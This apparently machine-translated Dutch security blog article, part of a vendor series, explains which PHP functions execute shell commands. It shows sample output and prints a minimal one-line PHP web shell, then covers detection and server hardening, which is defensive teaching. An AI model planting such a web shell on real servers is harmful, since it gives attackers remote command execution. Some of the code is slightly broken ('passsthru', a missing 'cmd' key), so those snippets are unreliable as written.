in deel 1 van deze serie hebben we gekeken naar wat een Webshell is en waarom een aanvaller er een zou willen gebruiken. In deel 2 van deze serie, zullen we kijken naar een aantal specifieke voorbeelden van web shells ontwikkeld met behulp van de PHP programmeertaal.
Web shells bestaan voor bijna elke programmeertaal die je maar kunt bedenken. We kozen ervoor om ons te concentreren op PHP omdat het de meest gebruikte programmeertaal op het web is.
PHP web shells doen niets meer dan gebruik maken van ingebouwde PHP functies om commando ‘ s uit te voeren. Hieronder volgen enkele van de meest voorkomende functies die gebruikt worden om shell commando ‘ s uit te voeren in PHP.
system ()
de system()
functie accepteert het commando als een parameter en het geeft het resultaat.
het volgende voorbeeld op een Microsoft Windows machine zal het dir
commando uitvoeren om een directory lijst te retourneren van de directory waarin het PHP bestand wordt uitgevoerd.
<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free
het uitvoeren van het ls
commando op een Linux machine bereikt een vergelijkbaar resultaat.
<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
andere commando ‘ s hebben hetzelfde effect.
<?php// Return the user the script is running undersystem("whoami");?>--> www-data
exec()
de functie exec()
accepteert een opdracht als parameter, maar geeft het resultaat niet. Als een tweede optionele parameter is opgegeven, zal het resultaat worden geretourneerd als een array. Anders zal alleen de laatste regel van het resultaat worden weergegeven als echo.
<?php// Executes but returns nothingexec("ls -la");?>-->
met echo
met de functie exec()
wordt alleen de laatste regel van de uitvoer van het commando afgedrukt.
<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php
als een tweede parameter is opgegeven, wordt het resultaat in een array geretourneerd.
<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )
shell_exec()
de shell_exec()
functie is vergelijkbaar met exec()
, maar het geeft het volledige resultaat als een string.
<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php
passthru()
de functie passthru()
voert een opdracht uit en geeft uitvoer in raw-formaat terug.
<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php
proc_open()
de functie proc_open()
kan moeilijk te begrijpen zijn (u kunt een gedetailleerde beschrijving van de functie vinden in de PHP docs). Door proc_open()
te gebruiken, kunnen we een handler (proces) maken die gebruikt zal worden voor communicatie tussen ons script en het programma dat we willen uitvoeren.
Backticks
verrassend genoeg zijn niet veel PHP ontwikkelaars zich hiervan bewust, maar PHP zal de inhoud van backticks (`) als een shell commando uitvoeren.
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data
gebaseerd op het bovenstaande is het volgende een PHP web shell in zijn eenvoudigste vorm.
<?php system($_GET);?>
het gebruikt de functie system() om commando ’s uit te voeren die via de HTTP request GET parameter’ cmd ‘ worden doorgegeven.
we hebben vastgesteld dat deze functies (en enkele andere) zeer gevaarlijk kunnen zijn. Wat nog gevaarlijker is, is dat al deze ingebouwde PHP-commando ‘ s standaard zijn ingeschakeld wanneer PHP is geïnstalleerd en de meerderheid van de systeembeheerders ze niet uitschakelen.
Als u niet zeker weet of ze zijn ingeschakeld op uw systeem, geeft het volgende een lijst met gevaarlijke functies terug die zijn ingeschakeld.
<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>
in een standaard installatie kunnen we zien dat alle bovengenoemde functies zijn ingeschakeld.
=> exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen
Deel 1
Een Inleiding voor Web-Shells
Deel 2
Web Schelpen 101 met Behulp van PHP
Deel 3
het Houden van Web Schelpen Onder Dekking
Deel 4
Web Schelpen in Actie
Deel 5
Detectie & Preventie
veelgestelde vragen
Een web shell is een kleine applicatie die een aanvaller wordt uitgevoerd op de webserver. Ze kunnen deze applicatie vervolgens gebruiken om op afstand toegang te krijgen tot uw server en commando ‘ s op uit te voeren. Een web shell op zich is nooit een aanval, het is de nasleep van een succesvolle aanval op uw website of webapplicatie. Dit betekent dat als je een Webshell hebt, je een veel ernstiger probleem hebt om je zorgen over te maken.
zie hoe een Webshell in de praktijk werkt.
kwaadaardige hackers gebruiken web shells om de controle over een reeds gecompromitteerde server over te nemen. Ten eerste, ze exploiteren een kwetsbaarheid in uw website of webtoepassing, zoals SQL injectie, uitvoering van externe code, of anderen. Vervolgens uploaden ze een web shell naar uw webserver. Vanaf nu kunnen ze alle commando ‘ s uitvoeren die ze leuk vinden op je server.
zie een stap-voor-stap voorbeeld van een aanval die leidt tot volledige server compromis.
u kunt web shells detecteren door loganalyse. Echter, je moet niet richten op het detecteren van web shells, maar in plaats daarvan, je moet kwetsbaarheden die kunnen laten aanvallers de controle over uw server te detecteren. Zelfs als u een web shell detecteren, dat zal niet stoppen aanvallers van het overnemen van de controle opnieuw als de kwetsbaarheden zijn er nog steeds. Om web kwetsbaarheden op te sporen en te leren hoe ze te elimineren, gebruik Acunetix.
bekijk wat Acunetix Premium voor u kan betekenen.
de beste manier om jezelf te beschermen tegen web shells is om het onmogelijk te maken om ze op je systeem te gebruiken. U kunt dat doen door uw server te verharden-het verwijderen van alle overtollige Machtigingen, het blokkeren van potentieel gevaarlijke functies, het beperken van script uitvoering in upload directory ‘ s, enz. Echter, het is het beste om de server te beschermen tegen steeds gecompromitteerd in de eerste plaats door het gebruik van Acunetix regelmatig.
Lees meer over Webshell detectie en bescherming.
haal elke week de nieuwste inhoud op webbeveiliging
in uw postvak in.
DEEL DIT BERICHT
AUTEUR

Web Systeembeheerder/Ontwikkelaar
Akis heeft gewerkt in de IT-sfeer meer dan 13 jaar, de ontwikkeling van zijn vaardigheden van een defensieve perspectief als Systeembeheerder en Web Developer, maar ook van een offensief perspectief als een penetratie tester. Hij heeft verschillende professionele certificeringen met betrekking tot ethisch hacken, digitaal forensisch onderzoek en incident response.